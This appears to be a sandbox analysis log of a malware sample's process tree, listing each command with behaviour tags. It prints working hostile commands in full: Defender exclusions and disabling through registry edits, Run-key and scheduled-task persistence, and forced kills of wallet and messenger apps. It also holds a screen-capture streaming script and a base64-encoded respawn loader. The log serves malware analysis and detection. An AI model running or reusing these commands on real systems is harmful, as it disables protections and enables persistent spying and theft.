    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:TEMP' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:TEMP' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:APPDATA' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:4172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:APPDATA' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).DisableRealtimeMonitoring""
    3⤵
    - Executes a command shell one-liner
    PID:4148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).DisableRealtimeMonitoring"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3760
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience"
      4⤵
      Views/modifies file attributes
      PID:1136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:4740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f"
    3⤵
    - Executes a command shell one-liner
    PID:4988
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f
      4⤵
      Adds Run key to start application
      PID:3340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f"
    3⤵
    - Executes a command shell one-liner
    PID:4584
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f
      4⤵
      Adds Run key to start application
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:3132
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:1264
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:2976
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
    3⤵
    - Executes a command shell one-liner
    PID:2516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
    3⤵
    - Executes a command shell one-liner
    PID:1984
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Discovers running processes
      PID:2780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:3012
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      PID:6040

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:5360

C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
1⤵
- Executes dropped EXE
PID:6016
- C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe C:\snapshot\lofy\_monkey_b8dd4dbe.js
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Name W -Namespace N -MemberDefinition "[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"kernel32.dll\")]public static extern bool FreeConsole();[DllImport(\"kernel32.dll\")]public static extern bool AttachConsole(uint p);[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int s);";[N.W]::ShowWindow([N.W]::GetConsoleWindow(),0);[N.W]::FreeConsole();""
    3⤵
    - Executes a command shell one-liner
    PID:2580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Name W -Namespace N -MemberDefinition "[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"kernel32.dll\")]public static extern bool FreeConsole();[DllImport(\"kernel32.dll\")]public static extern bool AttachConsole(uint p);[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int s);";[N.W]::ShowWindow([N.W]::GetConsoleWindow(),0);[N.W]::FreeConsole();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:2152
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4948
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\ProgramData\Microsoft\Windows\ServiceProfiles\e2592e74d051""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1784
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\ProgramData\Microsoft\Windows\ServiceProfiles\e2592e74d051"
      4⤵
      Views/modifies file attributes
      PID:6060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\e2592e74d051""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4288
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\e2592e74d051"
      4⤵
      Views/modifies file attributes
      PID:1376
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe -e "eval(Buffer.from(\"CmNvbnN0IGNwPXJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKSxmcz1yZXF1aXJlKCdmcycpOwpjb25zdCBwaWQ9NDMxMjsKY29uc3QgaXNDb21waWxlZD10cnVlOwpjb25zdCBvcmlnRXhlPSJDOlxcVXNlcnNcXEFkbWluXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxXaW5kb3dzXFxTaGVsbEV4cGVyaWVuY2VcXDIwMjYtMDgtMjRfZDcyY2FjNjE4Y2RjNTIyMmY1NWU1ZjY1MTUzNDBkZDlfYmxhbmtncmFiYmVyX2NvaW5taW5lcl9nbGFzc3dvcm1faWNlZGlkX2x1Y2Etc3RlYWxlcl9uanJhdF9zdGVhbGNfenh4ei5leGUiOwpjb25zdCBvcmlnU2NyaXB0PSJDOlxcc25hcHNob3RcXGxvZnlcXF9tb25rZXlfYjhkZDRkYmUuanMiOwpjb25zdCBvcmlnTk09IkM6XFxzbmFwc2hvdFxcbG9meVxcbm9kZV9tb2R1bGVzIjsKY29uc3QgYmtFeGU9IkM6XFxQcm9ncmFtRGF0YVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxTZXJ2aWNlUHJvZmlsZXNcXGUyNTkyZTc0ZDA1MVxcMjAyNi0wOC0yNF9kNzJjYWM2MThjZGM1MjIyZjU1ZTVmNjUxNTM0MGRkOV9ibGFua2dyYWJiZXJfY29pbm1pbmVyX2dsYXNzd29ybV9pY2VkaWRfbHVjYS1zdGVhbGVyX25qcmF0X3N0ZWFsY196eHh6LmV4ZSI7CmNvbnN0IGJrU2NyaXB0PSIiOwpjb25zdCBia05NPSIiOwpzZXRJbnRlcnZhbCgoKT0+ewogIGxldCBhbGl2ZT1mYWxzZTsKICB0cnl7cHJvY2Vzcy5raWxsKHBpZCwwKTthbGl2ZT10cnVlO31jYXRjaChlKXt9CiAgaWYoIWFsaXZlKXsKICAgIGNvbnN0IGVudj1PYmplY3QuYXNzaWduKHt9LHByb2Nlc3MuZW52LHtfTllYX0hJRERFTjonMSd9KTsKICAgIGlmKGlzQ29tcGlsZWQpewogICAgICBsZXQgcnVuRXhlPW9yaWdFeGU7CiAgICAgIGlmKCFmcy5leGlzdHNTeW5jKG9yaWdFeGUpKXsKICAgICAgICBpZihia0V4ZSYmZnMuZXhpc3RzU3luYyhia0V4ZSkpcnVuRXhlPWJrRXhlOwogICAgICAgIGVsc2UgcHJvY2Vzcy5leGl0KCk7CiAgICAgIH0KICAgICAgY3Auc3Bhd24ocnVuRXhlLFtdLHtkZXRhY2hlZDp0cnVlLHN0ZGlvOidpZ25vcmUnLHdpbmRvd3NIaWRlOnRydWUsZW52fSkudW5yZWYoKTsKICAgIH1lbHNlewogICAgICBsZXQgcnVuU2NyaXB0PW9yaWdTY3JpcHQsbnA9b3JpZ05NOwogICAgICBpZighZnMuZXhpc3RzU3luYyhvcmlnU2NyaXB0KSl7CiAgICAgICAgaWYoZnMuZXhpc3RzU3luYyhia1NjcmlwdCkpe3J1blNjcmlwdD1ia1NjcmlwdDtucD1ia05NO30KICAgICAgICBlbHNlIHByb2Nlc3MuZXhpdCgpOwogICAgICB9CiAgICAgIGlmKG5wKWVudi5OT0RFX1BBVEg9bnA7CiAgICAgIGNwLnNwYXduKHByb2Nlc3MuZXhlY1BhdGgsW3J1blNjcmlwdF0se2RldGFjaGVkOnRydWUsc3RkaW86J2lnbm9yZScsd2luZG93c0hpZGU6dHJ1ZSxlbnZ9KS51bnJlZigpOwogICAgfQogICAgcHJvY2Vzcy5leGl0KCk7CiAgfQp9LDMwMDApOw==\",\"base64\").toString())"
    3⤵
    - Executes dropped EXE
    PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:4400
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:2468
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsSystemUpdateSvc" /F"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5604
  - - C:\Windows\system32\schtasks.exe
      schtasks /Delete /TN "WindowsSystemUpdateSvc" /F
      4⤵
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "ScreenLiveClient" /F"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3084
  - - C:\Windows\system32\schtasks.exe
      schtasks /Delete /TN "ScreenLiveClient" /F
      4⤵
      PID:4744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "ScreenLiveClient" /TR "wscript.exe \"C:\Users\Admin\AppData\Local\Temp\svchost.vbs\"" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:5520
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN "ScreenLiveClient" /TR "wscript.exe \"C:\Users\Admin\AppData\Local\Temp\svchost.vbs\"" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:1140
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5464
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:5948
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1524
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NoLogo -ExecutionPolicy Bypass -Command " Add-Type -AssemblyName System.Drawing Add-Type -AssemblyName System.Windows.Forms $dR = [System.Drawing.Bitmap].Assembly.Location $wR = [System.Windows.Forms.Screen].Assembly.Location Add-Type -ReferencedAssemblies $dR,$wR -TypeDefinition @\" using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Windows.Forms; public class SS { static int cm = 0; static bool go = true; public static void Run(int mw, int q, int fps) { try { System.Diagnostics.Process.GetCurrentProcess().PriorityClass = System.Diagnostics.ProcessPriorityClass.BelowNormal; } catch {} var sc = Screen.AllScreens; for (int i = 0; i < sc.Length; i++) { var s = sc[i]; Console.Error.WriteLine(\"MON:\" + i + \"|\" + s.Bounds.Width + \"x\" + s.Bounds.Height + \"|\" + (s.Primary ? \"P\" : \"S\")); } Console.Error.WriteLine(\"READY\"); var th = new Thread(() => { try { var si = Console.OpenStandardInput(); while (go) { int b = si.ReadByte(); if (b == -1) { go = false; break; } if (b >= 0 && b < Screen.AllScreens.Length) cm = b; } } catch {} }); th.IsBackground = true; th.Start(); ImageCodecInfo jc = null; foreach (var c in ImageCodecInfo.GetImageEncoders()) if (c.MimeType == \"image/jpeg\") { jc = c; break; } var ep = new EncoderParameters(1); ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)q); int d = 1000 / fps; Stream so = Console.OpenStandardOutput(); Bitmap cb = null; Graphics cg = null; Bitmap ob = null; Graphics og = null; int lm = -1; try { while (go) { long t = Environment.TickCount; int m = cm; var ss = Screen.AllScreens; if (m >= ss.Length) m = 0; var bn = ss[m].Bounds; if (m != lm || cb == null) { if (cg != null) cg.Dispose(); if (cb != null) cb.Dispose(); if (og != null) og.Dispose(); if (ob != null) ob.Dispose(); cb = new Bitmap(bn.Width, bn.Height, PixelFormat.Format32bppRgb); cg = Graphics.FromImage(cb); float ra = Math.Min(1.0f, (float)mw / bn.Width); if (ra < 1.0f) { int ow = (int)(bn.Width * ra), oh = (int)(bn.Height * ra); ob = new Bitmap(ow, oh, PixelFormat.Format32bppRgb); og = Graphics.FromImage(ob); og.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.Bilinear; og.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed; } else { ob = null; og = null; } lm = m; } cg.CopyFromScreen(bn.X, bn.Y, 0, 0, new Size(bn.Width, bn.Height), CopyPixelOperation.SourceCopy); Bitmap tgt; if (ob != null && og != null) { og.DrawImage(cb, 0, 0, ob.Width, ob.Height); tgt = ob; } else tgt = cb; using (var ms = new MemoryStream()) { if (jc != null) tgt.Save(ms, jc, ep); else tgt.Save(ms, ImageFormat.Jpeg); byte[] jpg = ms.ToArray(); byte[] ln = BitConverter.GetBytes(jpg.Length); so.Write(ln, 0, 4); so.Write(jpg, 0, jpg.Length); so.Flush(); } long el = Environment.TickCount - t; int w = (int)(d - el); if (w > 0) Thread.Sleep(w); } } finally { if (cg != null) cg.Dispose(); if (cb != null) cb.Dispose(); if (og != null) og.Dispose(); if (ob != null) ob.Dispose(); } } } \"@ [SS]::Run(960, 40, 12) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3348
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kxq55h1h\kxq55h1h.cmdline"
      4⤵
      PID:1044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EED.tmp" "c:\Users\Admin\AppData\Local\Temp\kxq55h1h\CSC33CC698D334A368FE1C886A1124F3.TMP"
        5⤵
        
        PID:1164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1787614506771.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:5432
  - - C:\Windows\system32\cscript.exe
      cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1787614506771.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f"
    3⤵
    - Executes a command shell one-liner
    PID:4600
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
      4⤵
      PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:924
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      PID:3788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1848
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:2368
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
      4⤵
      PID:2484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:5056
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:5696
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:5836
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:108
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:3024
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
      4⤵
      PID:244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f"
    3⤵
    - Executes a command shell one-liner
    PID:988
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
      4⤵
      PID:2040
- - C:\Windows\system32\cmd.exe
